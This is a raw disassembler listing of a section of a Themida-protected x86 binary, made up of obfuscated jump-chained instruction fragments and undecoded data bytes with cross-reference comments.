dd 505AFFFFh, 621E9EB8h, 7AD4E94Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C4AA: ; CODE XREF: Themida_:0055F0E5j
pop esp
push ecx
mov ecx, esp
jmp loc_560B46
; ---------------------------------------------------------------------------
loc_55C4B3: ; CODE XREF: Themida_:00560304j
dec ecx
add ecx, 5A244A44h
jmp loc_5565EF
; ---------------------------------------------------------------------------
loc_55C4BF: ; CODE XREF: Themida_:005576BCj
dec ebx
jmp loc_5573F4
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 0E289525Bh, 4C281h, 0C2830000h, 24148704h, 1797E9h
dd 4C48100h, 57000000h, 8D13B2BFh, 4CF8143h, 0E93AEB19h
dd 0FFFFB602h, 42474FFh, 24048F5Eh, 0FF962FE9h, 8027B4FFh
dd 0C4FE11F4h, 3053EC80h, 24048BE2h, 8004C483h, 0DAF67BEAh
dd 523FC280h, 0F2E935B6h, 1FFFFB9h, 4770E9D3h, 0BF570000h
dd 5EBE1CF4h, 8C4830B9h, 5FF9316Ch, 89CB8953h, 241C8BDEh
dd 4C481h, 34FF0000h, 75B8E924h
db 2 dup(0FFh)
word_55C54E dw 6664h ; DATA XREF: Themida_:0054FE60o
dd 6802B60Fh, 93Ch, 10FDE9h, 4BD3F700h, 2B0DB951h, 0C9813434h
dd 416A0428h, 757BBF57h, 0F92142D2h, 0B6F1815Fh, 81178A52h
dd 25D816C1h, 59CB29ADh, 5C56EB81h, 0EB817F3Eh, 166AD12Bh
dd 0E4E9D801h, 6800002Dh, 78D71DEh, 2ECBE9h, 2434FF00h
dd 7CC4E9h, 4C68100h, 83000000h, 348704C6h, 7AE95C24h
dd 66FFFF49h, 0E924148Bh, 0FFFFFA89h, 0E904C383h, 5A4Ch
; ---------------------------------------------------------------------------
loc_55C5CC: ; CODE XREF: Themida_:005545ADj
pop eax
sub esi, 30125EA8h
push 774h
mov [esp], ebp
mov ebp, 0CC91C544h
sub esi, 6C1F3EB8h
jmp loc_55EEB1
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483241Ch, 242C8704h, 0AE46E95Ch, 0EC81FFFFh, 4, 0B0240489h
dd 0E9E0D0BAh, 0FFFF9B5Fh
; ---------------------------------------------------------------------------
loc_55C60C: ; CODE XREF: Themida_:00553400j
mov ebx, 198405EBh
or ebx, 488012F4h
dec ebx
and ebx, 50C301B3h
jmp loc_561932
; ---------------------------------------------------------------------------
db 66h
dd 5E66F289h, 66D50166h, 6824148Bh, 56ADh, 0E9241489h
dd 0FFFF9600h
dword_55C63C dd 240C8B66h, 4541E9h ; DATA XREF: Themida_:0054FD00o
db 0
; ---------------------------------------------------------------------------
loc_55C645: ; CODE XREF: Themida_:005582E3j
pop ecx
add edx, 4
xchg edx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], edx
push 0FFFFh
jmp loc_5519E6
; ---------------------------------------------------------------------------
dw 0C229h
dd 5AD02958h, 0FF4267E9h, 241C87FFh, 5124248Bh, 35BFE9h
db 0
; ---------------------------------------------------------------------------
loc_55C679: ; CODE XREF: Themida_:005628A4j
add esi, 4
jmp loc_563F76
; ---------------------------------------------------------------------------
dd 0E99C5066h, 0FFFF7350h, 60E9E901h
db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C693: ; CODE XREF: Themida_:00558D31j
or ebx, 11DF4FA4h
push ebp
jmp loc_552984
; ---------------------------------------------------------------------------
db 81h
dd 0D523DEC2h, 39EA8177h, 8B618F65h, 0C481240Ch, 4, 2C281h
dd 0FF520000h, 5A042474h, 45E4E9h, 4BD00h, 44810000h, 1EA50424h
dd 6C01519Dh, 0EC810424h, 4, 68241C89h, 519D1EA5h, 245C295Bh
dd 8F5D5B08h, 682404h, 89000034h, 87E9241Ch, 81000015h
dd 4C3h, 241C8700h, 5224248Bh, 92BD5551h, 89519002h, 96BA5DE9h
dd 31519002h, 0D50159CAh, 8124148Bh, 4C4h, 242C3300h, 33242C31h
dd 248B242Ch, 0E9F1F724h, 0FFFFD747h
; ---------------------------------------------------------------------------
loc_55C738: ; CODE XREF: Themida_:0055D427j
pop dword ptr [esp]
pop esp
div cl
movzx cx, ah
push 392Fh
mov [esp], ebx
mov ebx, esp
push ebp
mov ebp, 1A222E1Eh
inc ebp
add ebp, 0FFFFFFFFh
not ebp
xor ebp, 0E5DDD1E5h
add ebx, ebp
jmp loc_557935
; ---------------------------------------------------------------------------
loc_55C765: ; CODE XREF: Themida_:00563A15j
mov ebx, 3C864E3Fh
mov esi, 218A2EF3h
sub esi, 178715E3h
add esi, ebx
jmp loc_5511E4
; ---------------------------------------------------------------------------
loc_55C77C: ; CODE XREF: Themida_:0055049Bj
add ebp, 15F24D8Fh
or ebp, 28F04B9Fh
add ebp, 0C2069065h
add edx, ebp
pop ebp
jmp loc_558208
; ---------------------------------------------------------------------------
a@so db '@éO&',0
align 4
dd 0C5314305h, 0B850577Ch, 70A6C54h, 0CFE065BFh, 0E9C701F9h
dd 0FFFF9559h
; ---------------------------------------------------------------------------
loc_55C7B4: ; CODE XREF: Themida_:00555E24j
inc ebp
not ebp
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_555F64
; ---------------------------------------------------------------------------
db 0F7h
dd 15C281DAh, 13670FFh, 6FE95AD0h, 83FFFFF2h, 0C8704C1h
dd 6873E924h, 8F54FFFFh, 0B9512404h, 4, 4244C01h, 0FFBDA4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C7F9: ; CODE XREF: Themida_:00553777j
mov [esp], ecx
mov ecx, 6C0E2FA5h
sub esp, 4
mov [esp], esi
mov esi, 5CA704B6h
push edx
mov edx, esp
push esi
mov esi, 4
add edx, esi
jmp loc_553B54
; ---------------------------------------------------------------------------
dd 4246C81h, 1D7E5CDBh, 743FE9h
db 0
; ---------------------------------------------------------------------------
loc_55C829: ; CODE XREF: Themida_:00558B1Bj
add ecx, 2F6E0E30h
jmp loc_5627ED
; ---------------------------------------------------------------------------
dd 4C481h, 0BE560000h, 62A2A62h, 29F6EE81h, 0F729D2E8h
dd 5FFB015Eh, 94DE951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C852: ; CODE XREF: Themida_:00550DE8j
xor eax, edi
mov edi, [esp]
add esp, 4
jmp loc_558391
; ---------------------------------------------------------------------------
db 0BAh
dd 32374F86h, 6A8CBA52h, 0D0296CCCh, 53D0295Ah, 0CC6A8CBBh
dd 5BD8016Ch, 0D0F7485Ah, 7E9D8F7h, 0FFFFFFAAh, 5F042474h
dd 0E924048Fh, 0FFFFA20Eh
; ---------------------------------------------------------------------------
loc_55C890: ; CODE XREF: Themida_:0055068Bj
add edx, 22601053h
mov ebx, edx
pop edx
and ecx, ebx
mov ebx, [esp]
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
or ecx, 213C17C5h
not ecx
push 7BF5h
mov [esp], esi
jmp loc_550B62
; ---------------------------------------------------------------------------
db 50h
dd 584B6857h, 1E95871h
db 94h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C8CF: ; CODE XREF: Themida_:0055D4A0j
add edx, 20C240B6h
add edx, 2E75977h
jmp loc_55BFBD
; ---------------------------------------------------------------------------
dword_55C8E0 dd 751968h, 24048900h, 42474FFh, 582434FFh, 57EAE952h
; DATA XREF: Themida_:0054FCC4o
dd 0A0BA0000h, 81BEB44Ah, 0FC1E26EEh, 0ABEE8125h, 29105B28h
dd 0ABC681D6h, 81105B28h, 0FC1E26C6h, 2434FF25h, 4C4815Ah
dd 0E9000000h, 8089h
; ---------------------------------------------------------------------------
loc_55C924: ; CODE XREF: Themida_:0055DBF2j
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_54FF17
; ---------------------------------------------------------------------------
dw 0D8F7h
dd 0FC04BD55h, 0E831E88Fh, 83242C8Bh, 5E5004C4h, 5C0D2D58h
dd 0F0017074h, 745C0D05h, 2434FF70h, 4C4835Eh, 31240433h
dd 4332404h, 23685C24h, 89000067h, 0E589242Ch, 4BA52h
dd 0D5010000h, 2205E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C97E: ; CODE XREF: Themida_:00555EC4j
sub esi, ebx
mov ebx, [esp]
add esp, 4
xchg esi, [esp]
pop esp
jmp loc_55430D
; ---------------------------------------------------------------------------
loc_55C992: ; CODE XREF: Themida_:0055D5B5j
mov esi, [esp]
jmp loc_554894
; ---------------------------------------------------------------------------
loc_55C99A: ; CODE XREF: Themida_:00553891j
add esp, 4
push dword ptr [edi+eax*4]
push dword ptr [esp]
jmp loc_55E9C3
; ---------------------------------------------------------------------------
db 52h
dd 10DDE9h, 3561E900h, 8957FFFFh, 4C781E7h, 0E9000000h
dd 8085h
; ---------------------------------------------------------------------------
loc_55C9C4: ; CODE XREF: Themida_:00564444j
push 9D7h
jmp loc_55ED05
; ---------------------------------------------------------------------------
dw 0C483h
dd 6DED8104h, 831C6C6Eh, 2C8904ECh, 0B9515724h, 0F680659h
dd 3159CF89h, 5F04247Ch, 5E2434FFh, 4C481h, 48680000h
dd 89000022h, 59BB241Ch, 310F6806h, 15D5BDEh, 0C597E9F0h
dd 0C8BFFFFh, 4C48324h, 0FF74A1E9h, 83EB81FFh, 13E5A68h
dd 83C381EBh, 8B3E5A68h, 0C481242Ch, 4, 55F0B850h, 0B353136h
dd 0E964274Dh, 0FFFF62DAh
; ---------------------------------------------------------------------------
loc_55CA40: ; CODE XREF: Themida_:0055CE8Fj
add ebp, 5A7517BEh
shl ebp, 2
xor ebp, 0C04AF1D8h
add ebx, ebp
jmp loc_54FFDE
; ---------------------------------------------------------------------------
loc_55CA56: ; CODE XREF: Themida_:00551B7Fj
mov eax, 378863DAh
and esi, eax
pop eax
add esi, 6D11573h
shl esi, 5
add esi, 24BE3DCFh
jmp loc_55E4F2
; ---------------------------------------------------------------------------
word_55CA72 dw 48Bh ; DATA XREF: Themida_:0054FC44o
aSbo db '$éO',0
align 2
dw 0EC81h
dd 4, 0B8240489h, 26CE500Ah, 34FFC789h, 0C4835824h, 0D874E904h
dd 0BF57FFFFh, 4, 0E95FF901h, 0FFFF5C6Fh, 53DBC580h, 0E7C058B7h
dd 78EF8005h, 0B0E9FA28h, 46000056h, 0F5EBC681h, 0ECE99A8Eh
dd 89000070h, 32E95AD0h, 5B00007Dh, 8367E952h, 48F0000h
dd 4784E924h, 2C890000h, 0A03FE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CAE2: ; CODE XREF: Themida_:0055A772j
shr ebx, 3
neg ebx
jmp loc_55A80A
; ---------------------------------------------------------------------------
dword_55CAEC dd 0AFE95256h ; DATA XREF: Themida_:0054FDB0o
db 52h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CAF3: ; CODE XREF: Themida_:00550FC8j
sub esp, 4
jmp loc_55AFA7
; ---------------------------------------------------------------------------
loc_55CAFB: ; CODE XREF: Themida_:005523B8j
mov esi, 347D047Fh
jmp loc_551249
; ---------------------------------------------------------------------------
db 33h, 4, 24h
dd 33240431h, 0E95C2404h, 2E8h
; ---------------------------------------------------------------------------
loc_55CB14: ; CODE XREF: Themida_:0055BBC7j
pop ecx
jmp loc_564A57
; ---------------------------------------------------------------------------
loc_55CB1A: ; CODE XREF: Themida_:005655DBj
push edi
mov edi, 43C51C65h
jmp loc_55B85A
; ---------------------------------------------------------------------------
loc_55CB25: ; CODE XREF: Themida_:00552217j
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_55CFD0
; ---------------------------------------------------------------------------
loc_55CB35: ; CODE XREF: Themida_:00556CEEj
sub ebx, 3AABB00h
jmp loc_55E965
; ---------------------------------------------------------------------------
loc_55CB40: ; CODE XREF: Themida_:0055E515j
shl edx, 1
push esi
push ebx
mov ebx, 67234169h
shl ebx, 6
sub ebx, 0C8D05A3Fh
jmp loc_5646E9
; ---------------------------------------------------------------------------
db 81h
dd 0C91FE0F3h, 0E9F38720h, 0FFFFE175h, 4001BBEh, 5EF03132h
dd 48BC701h, 4C48124h, 83000000h, 0E95704C7h, 199Ah, 8304C483h
dd 0FF5302C3h, 5B042474h, 5C24048Fh, 2914E9h, 241C8B00h
dd 4C481h, 0C1810000h, 69DE594Ah, 8BE9D901h, 0E9000083h
dd 0FFFF3367h
; ---------------------------------------------------------------------------
loc_55CBB0: ; CODE XREF: Themida_:005646D2j
push eax
mov eax, 4
jmp loc_55766A
; ---------------------------------------------------------------------------
db 50h
dd 0DB5023B8h, 19853540h, 0C12917A0h, 0FFC555E9h, 64B6FFh
dd 67C8E9FEh, 0E2C10000h, 1A4EE906h, 0DBF70000h, 25F3F381h
dd 434359C8h, 1453EB81h, 0D829A55Ah, 403A2D5Bh, 0C101048Eh
dd 5724048Bh, 0BE565F54h, 4, 6C3DE9h
db 0
; ---------------------------------------------------------------------------
loc_55CC09: ; CODE XREF: Themida_:0055B860j
push eax
mov eax, 2C0A318Fh
dec eax
push eax
not dword ptr [esp]
pop eax
xor eax, 101C43D2h
add eax, 27506EA3h
jmp loc_551F7F
; ---------------------------------------------------------------------------
dd 446B850h, 0D8F7016Eh, 64E40635h, 5BFE3583h, 0C1407091h
dd 67E905E0h, 83FFFFCEh, 0C58104C4h, 4, 284968h, 240C8900h
dd 74A7E956h, 0F8010000h, 8A5BCD2Dh, 48B95157h, 0E956A448h
dd 0FFFFC94Ah
; ---------------------------------------------------------------------------
loc_55CC68: ; CODE XREF: Themida_:00560FA2j
add edi, edx
pop edx
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5642E0
; ---------------------------------------------------------------------------
loc_55CC77: ; CODE XREF: Themida_:0055515Fj
mov edi, 38DA531Eh
inc edi
xor edi, 157A2E83h
and edi, 70A46ACBh
jmp loc_550EB1
; ---------------------------------------------------------------------------
dw 0EA01h
dd 0FF81F0E9h, 0FE4824FFh, 2CD8F6C8h, 34E7E97Fh, 2C8BFFFFh
dd 4C48324h, 0C620E951h, 9566FFFFh, 66D5F766h, 0CD686650h
dd 2C896664h, 0E9586624h, 0FFFFDF26h, 0B9F58145h, 0E9EB6A42h
dd 729Fh, 88DDE950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CCD6: ; CODE XREF: Themida_:0055ECF0j
add eax, 4
xchg eax, [esp]
pop esp
or edx, eax
shl edx, 1
push 57D7h
mov [esp], ecx
push 0FFFFFFFFh
push dword ptr [esp]
pop ecx
push ebx
mov ebx, esp
jmp loc_55FF4A
; ---------------------------------------------------------------------------
dw 0EB81h
dd 0DD61AB5h, 77EB815Dh, 8161E851h, 6C7443EBh, 0E9C32972h
dd 0FFFF90AEh, 28F7E681h, 7CE9759Bh
db 7Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CD1F: ; CODE XREF: Themida_:00553FF9j
sub ecx, eax
add ecx, 2FB6E72h
pop eax
push edi
mov edi, 2F6E0E30h
jmp loc_554392
; ---------------------------------------------------------------------------
db 9Dh
dd 31DDE9C3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CD3A: ; CODE XREF: Themida_:005567BBj
mov esp, [esp]
mov [esp], ebx
mov ebx, 80000h
and eax, ebx
pop ebx
or eax, eax
jz loc_55AFF8
push dword ptr [edi+1Ch]
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_55A6AC
; ---------------------------------------------------------------------------
db 81h
dd 3C2BF2C5h, 0E3BA5229h, 0E9152C54h, 0FFFFE805h, 0AF6BA52h
dd 0CA816AA0h, 113A1873h, 0EA81DAF7h, 44EFCE5Bh, 295AD301h
dd 5094E9D3h, 80E90000h
db 31h, 2 dup(0FFh)
byte_55CD97 db 0ADh ; DATA XREF: Themida_:0054FCE4o
dd 145B68h, 241C8900h, 315426BBh, 19EB8148h, 68045771h
dd 1EBDh, 0E9243489h, 0FFFF8663h, 4C4815Ch, 0F000000h
dd 61D868C8h, 4890000h, 3149E924h, 4C01FFFFh, 6C810424h
dd 66080424h, 0E9595ABBh, 568Fh, 900F8DBDh, 5DEE3106h
dd 5504EEC1h, 4239A8BDh, 0AEE58133h, 0E92FAC36h, 0FFFFF3BBh
dd 0FD8E953h, 0BA520000h, 767061h, 15AD701h, 61EF81EFh
dd 81007670h, 781F0FEFh, 242C8B36h, 8304C483h, 3C3304C7h
dd 243C3124h, 8B243C33h, 0EC812424h, 4, 68240C89h, 4FC4h
dd 24048F54h, 588BE9h
db 0
; ---------------------------------------------------------------------------
loc_55CE45: ; CODE XREF: Themida_:0055A0AFj
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
and eax, edx
pop edx
or eax, eax
jnz loc_5547C7
push 1845h
mov [esp], eax
push 7CA464C4h
pop eax
push 1D77h
mov [esp], ebx
mov ebx, 1DB9577Bh
sub ebx, 0C29DE21Ah
push ebp
mov ebp, 9510CE0h
or ebp, 1CEA6FF1h
jmp loc_55CA40
; ---------------------------------------------------------------------------
dd 8158C201h, 2C2h, 0E1895100h, 398168h, 241C8900h, 2436C0BBh
dd 57D3F708h, 0FFCF0EE9h, 4C381FFh, 81000000h, 4ECh, 24348900h
dd 0C7685051h, 5800DE01h, 728BE9h, 24248900h, 1E90E9h
db 0
; ---------------------------------------------------------------------------
loc_55CED9: ; CODE XREF: Themida_:0055484Dj
xchg edx, [esp]
pop esp
jmp loc_559EB5
; ---------------------------------------------------------------------------
loc_55CEE2: ; CODE XREF: Themida_:00563908j
xor eax, 57242F2h
and eax, 19D130DAh
xor eax, 4D951AFAh
xor eax, 2E7B1951h
sub eax, 0EAC1FEB1h
add edx, eax
jmp loc_554584
; ---------------------------------------------------------------------------
loc_55CF02: ; CODE XREF: Themida_:005526AAj
sub ebx, eax
sub ebx, 138A223Ah
push ecx
mov ecx, 74F6424Fh
shl ecx, 4
shl ecx, 5
add ecx, 8C7E7CC6h
add ebx, 13292FFEh
sub ebx, ecx
sub esp, 4
mov [esp], esi
jmp loc_5636DF
; ---------------------------------------------------------------------------
loc_55CF2F: ; CODE XREF: Themida_:00564B6Cj
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
xchg ecx, ebx
not ecx
xchg ecx, ebx
xchg ebx, [esp]
mov eax, [esp]
jmp loc_55B929
; ---------------------------------------------------------------------------
dd 9103E953h, 0EC83FFFFh, 242C8904h, 0FFE70BE9h, 24048BFFh
dd 6804C483h, 0F90h, 68243C89h, 3576h, 0FF4FB5E9h, 241C89FFh
dd 0C381E389h, 4, 0FFF643E9h, 0A2468FFh, 0C890000h, 4EC8324h
dd 0FF8A48E9h, 0C30059FFh, 0FF776EE9h, 5AD729FFh, 0FF4EF4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55CFA1: ; CODE XREF: Themida_:0055FF66j
push eax
not dword ptr [esp]
pop eax
xor eax, 84E0E117h
jmp loc_563DB1
; ---------------------------------------------------------------------------
dd 0C6E9CD01h, 5200000Fh, 0F8B08BB6h, 5AF030h, 48B66C1h
dd 2C48124h, 0E9000000h, 0FFFF65BCh
; ---------------------------------------------------------------------------
loc_55CFD0: ; CODE XREF: Themida_:0055CB30j
xchg ebp, [esp]
pop esp
loc_55CFD4: ; CODE XREF: Themida_:0055D35Ej
push ebx
push esp
pop ebx
push ecx
mov ecx, 4
add ebx, ecx
jmp loc_552808
; ---------------------------------------------------------------------------
loc_55CFE4: ; CODE XREF: Themida_:0055B6C2j
push 75FBh
mov [esp], esi
mov esi, esp
jmp loc_5616E8
; ---------------------------------------------------------------------------
aSsK db 'Sé×k',0
dd 4C48300h, 2474FF56h, 48F5E04h, 24248B24h, 0E9028864h
dd 0FFFF2F07h, 4C681h, 0EE810000h, 4, 0E9243487h, 5F0Ah
dd 0A9C8E95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D02A: ; CODE XREF: Themida_:005533ECj
mov [esp], ebp
mov ebp, 1FF57E79h
add ebp, 1
sub esp, 4
mov [esp], eax
push 6FA60304h
pop eax
sub eax, 701D48E4h
shr eax, 8
dec eax
xor eax, 0B5F5827h
xor eax, 14D5AEE4h
add ebp, 10C36851h
sub ebp, eax
push edx
mov edx, 10C36851h
jmp loc_555389
; ---------------------------------------------------------------------------
db 81h
dd 4C1h, 77B5E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D072: ; CODE XREF: Themida_:00552DABj
add eax, 4
xchg eax, [esp]
pop esp
push dword ptr [esp]
pop ecx
jmp loc_553F34
; ---------------------------------------------------------------------------
loc_55D082: ; CODE XREF: Themida_:0056430Dj
mov edi, esp
push edx
jmp loc_560F9D
; ---------------------------------------------------------------------------
dw 0BD55h
dd 3E79137Ch, 0D531D5F7h, 0D531EA31h, 0FF6A94E9h, 4875CFFh
dd 52665C24h, 6E176850h, 2DE90000h, 29FFFF32h, 21EB81EBh
dd 0E9636025h, 0FFFF3028h
; ---------------------------------------------------------------------------
loc_55D0BC: ; CODE XREF: Themida_:0055B2C1j
push ebx
mov ebx, esp
sub esp, 4
mov [esp], esi
mov esi, 4
add ebx, esi
pop esi
push eax
mov eax, 4
jmp loc_553199
; ---------------------------------------------------------------------------
loc_55D0D8: ; CODE XREF: Themida_:00560B81j
mov esp, [esp]
sub esp, 4
mov [esp], ebx
push eax
jmp loc_562F28
; ---------------------------------------------------------------------------
loc_55D0E7: ; CODE XREF: Themida_:005564D7j
add bl, ah
jmp loc_55F84F
; ---------------------------------------------------------------------------
loc_55D0EE: ; CODE XREF: Themida_:00553820j
add edi, 4
xchg edi, [esp]
pop esp
push ecx
mov ecx, 1C0804EFh
jmp loc_555E0C
; ---------------------------------------------------------------------------
dd 0BA04C483h, 1BC22C0Bh, 1CDCC281h, 0EC833C32h, 24148904h
dd 5A2414F7h, 0FF9D41E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D11D: ; CODE XREF: Themida_:00554AB5j
neg esi
sub esi, 0A4B0B404h
jmp loc_55259F
; ---------------------------------------------------------------------------
dw 3268h
dd 8900005Fh, 0D6BA2414h, 0C1432042h, 0EAC103EAh, 0DD00E905h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D142: ; CODE XREF: Themida_:00564929j
push dword ptr [ebx]
push esi
mov esi, 782A3F6Ah
xor [esp+4], esi
pop esi
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor ecx, 782A3F6Ah
push dword ptr [esp]
mov ebx, [esp]
push ebx
mov ebx, esp
push edi
mov edi, 4
jmp loc_56441D
; ---------------------------------------------------------------------------
loc_55D17F: ; CODE XREF: Themida_:0055773Dj
push ebp
mov ebp, esp
jmp loc_563833
; ---------------------------------------------------------------------------
db 57h
dd 9143F9BFh, 0C781473Bh, 57A24C7Fh, 8305EFC1h, 0DEE904ECh
dd 50FFFF96h, 4E7204B8h, 7206357Fh, 0C1897F4Eh, 8124048Bh
dd 4C4h, 0FFCB0100h, 81592434h, 4C4h, 2B2CE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D1C6: ; CODE XREF: Themida_:00559683j
mov esp, [esp]
mov [esp], ecx
push 29A235E7h
jmp loc_5521C0
; ---------------------------------------------------------------------------
dw 315Eh
dd 4EC81C3h, 89000000h, 59BB241Ch, 0E97CDA62h, 0FFFF56B6h
dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 53240489h, 7DF4BD55h
dd 16E95DD3h, 5BFFFF35h, 597D420Dh, 2E9503Dh
db 79h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D217: ; CODE XREF: Themida_:0055E1F8j
add ecx, 5620B494h
sub esp, 4
mov [esp], edx
mov edx, 181232EAh
push ebx
mov ebx, 6F6C5AF7h
sub ebx, 4875F643h
push 46FBh
jmp loc_55ADD1
; ---------------------------------------------------------------------------
word_55D23E dw 8B66h ; DATA XREF: Themida_:0054FD80o
dd 0D0E92424h
db 2Ch, 2 dup(0FFh)
byte_55D247 db 0FFh ; DATA XREF: Themida_:0054FCC0o
dd 0FF042474h, 48B2434h, 6FE46824h, 1BE90000h, 29FFFFA6h
dd 0E1C15FF9h, 83D1F707h, 1C8904ECh, 0FFFFBB24h, 62E9FFFFh
db 86h, 2 dup(0FFh)
byte_55D273 db 68h ; DATA XREF: Themida_:0054FC84o
dd 6343h, 352DE9h, 24042900h, 4AE9E9h
db 0
; ---------------------------------------------------------------------------
loc_55D285: ; CODE XREF: Themida_:00554222j
pop eax
add eax, ebp
jmp loc_564C94
; ---------------------------------------------------------------------------
db 80h, 0E4h, 4Bh
dd 2EC81h, 0DEE90000h, 0BEFFFFE4h, 76C3C84h, 5C63C681h
dd 0C6012914h, 5C63EE81h, 31582914h, 60F1E9F5h, 0C4810000h
dd 4, 73ECEB81h, 79E90946h, 59FFFF37h, 4C481h, 83E90000h
dd 81000080h, 0FFFFFFEAh, 451368FFh, 3BE90000h, 41000036h
dd 370ABD55h, 0E5816C6Fh, 331D2BE7h, 752DF581h, 0E901489Eh
dd 0E9D9F75Dh, 0FFFFB862h, 8704EF83h, 895C243Ch, 4FF240Ch
dd 240C8B24h, 4C481h, 0BE560000h, 6CC85A0Fh, 0E95EF129h
dd 0FFFF8213h, 99B9515Ch, 0E93DB275h, 0FFFFACB2h
; ---------------------------------------------------------------------------
loc_55D330: ; CODE XREF: Themida_:00562F64j
xor ecx, [esp]
jmp loc_55BE76
; ---------------------------------------------------------------------------
loc_55D338: ; CODE XREF: Themida_:0056486Cj
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_55B21E
; ---------------------------------------------------------------------------
loc_55D348: ; CODE XREF: Themida_:00559A0Fj
add esp, 4
sub edi, 6102C6C2h
and eax, edi
mov edi, [esp]
add esp, 4
or eax, eax
jz loc_55CFD4
push 476Dh
mov [esp], eax
push esi
mov esi, 1Ch
sub esp, 4
mov [esp], esi
jmp loc_55EE76
; ---------------------------------------------------------------------------
loc_55D380: ; CODE XREF: Themida_:0055B14Ej
xor ecx, 0CC4A836Dh
jmp loc_55984D
; ---------------------------------------------------------------------------
loc_55D38B: ; CODE XREF: Themida_:0055EE91j
sub eax, 54A30B71h
jmp loc_56037E
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 57000000h, 8989E954h, 1CF7FFFFh, 0D2F75A24h, 27E9DAF7h
dd 51FFFFF8h, 0FF7D40E9h, 4EF81FFh, 0E9000000h, 0FFFFACD7h
dd 4C481h, 0E9580000h, 8163h
; ---------------------------------------------------------------------------
loc_55D3CC: ; CODE XREF: Themida_:0055A363j
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5605B2
; ---------------------------------------------------------------------------
dd 46852h, 0CAE90000h, 81000048h, 460980C7h, 8BFE01AAh
dd 68E9243Ch
db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D3FF: ; CODE XREF: Themida_:00550112j
add edx, 76F83BEFh
mov ebp, edx
jmp loc_55EB9E
; ---------------------------------------------------------------------------
dd 0E904C483h, 0FFFF2B03h, 2BFh, 0BB8E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D41E: ; CODE XREF: Themida_:00560E09j
add esp, 4
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_55C738
; ---------------------------------------------------------------------------
loc_55D42C: ; CODE XREF: Themida_:00564822j
not eax
sub eax, 9AFE0AC0h
jmp loc_55F0F2
; ---------------------------------------------------------------------------
dd 21F4E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D43E: ; CODE XREF: Themida_:00564B8Bj
sub dl, 0C1h
add ch, dl
jmp loc_55380C
; ---------------------------------------------------------------------------
dd 4C781h, 0EF810000h, 4, 5C243C87h, 0FF242C89h, 5D042474h
dd 8B24048Fh, 89532424h, 4C381E3h, 50000000h, 8F3870B8h
dd 6636250Bh, 0FFE95A2Fh, 89000057h, 0BA5250E2h, 1AD730A1h
dd 68B9CA81h, 0EAD10C71h, 35BDE9h
db 0
; ---------------------------------------------------------------------------
loc_55D495: ; CODE XREF: Themida_:00554AFEj
sub edi, ebp
mov ebp, [esp]
add esp, 4
jmp loc_55C8CF
; ---------------------------------------------------------------------------
db 1, 0D8h, 5Bh
dd 4358C389h, 0B4C1BA52h, 0BDE9B196h, 59FFFFF8h, 5C24048Fh
dd 2F13E9h, 0C3805A00h, 0A176E9AEh, 5B3FFFFh, 5B66D828h
dd 8B2434FFh, 0C481240Ch, 4, 4C481h, 9D680000h, 89000046h
dd 65E9240Ch
db 0EEh, 2 dup(0FFh)
byte_55D4EF db 66h ; DATA XREF: Themida_:0054FE18o
dd 68240C8Bh, 7177h, 54241489h, 0BB53515Ah, 14613248h
dd 431ECB81h, 0F3817500h, 7561735Ah, 555BD989h, 469EDBDh
dd 0DBF7E90Eh, 525AFFFFh, 0FF498BE9h, 5FF901FFh, 0FAE9D101h
dd 8BFFFF33h, 2AE92414h, 58FFFF41h, 2C781h, 0FF570000h
dd 8B042474h, 38E9243Ch, 3100001Ah, 0F5815AD5h, 0CCE5FE3Dh
dd 89EF8957h, 10A1E9FBh, 68500000h, 185068FBh, 15BD5558h
dd 684A2B7Eh, 465Fh, 0B9240C89h, 0
dd 0CD87E929h, 0C5814D59h, 9D6BD41Ch, 34C2E9h, 4C48300h
dd 34E3C281h, 0FA0118F9h, 34E3B951h, 0CA2918F9h, 243C8B59h
dd 4C481h, 14330000h, 24143124h, 7653E9h
db 0
; ---------------------------------------------------------------------------
loc_55D5B1: ; CODE XREF: Themida_:005642A6j
push dword ptr [esp+4]
jmp loc_55C992
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 0FF959BE9h, 0EAF181FFh, 89B6B2EBh, 1522E9C8h
db 2 dup(0)
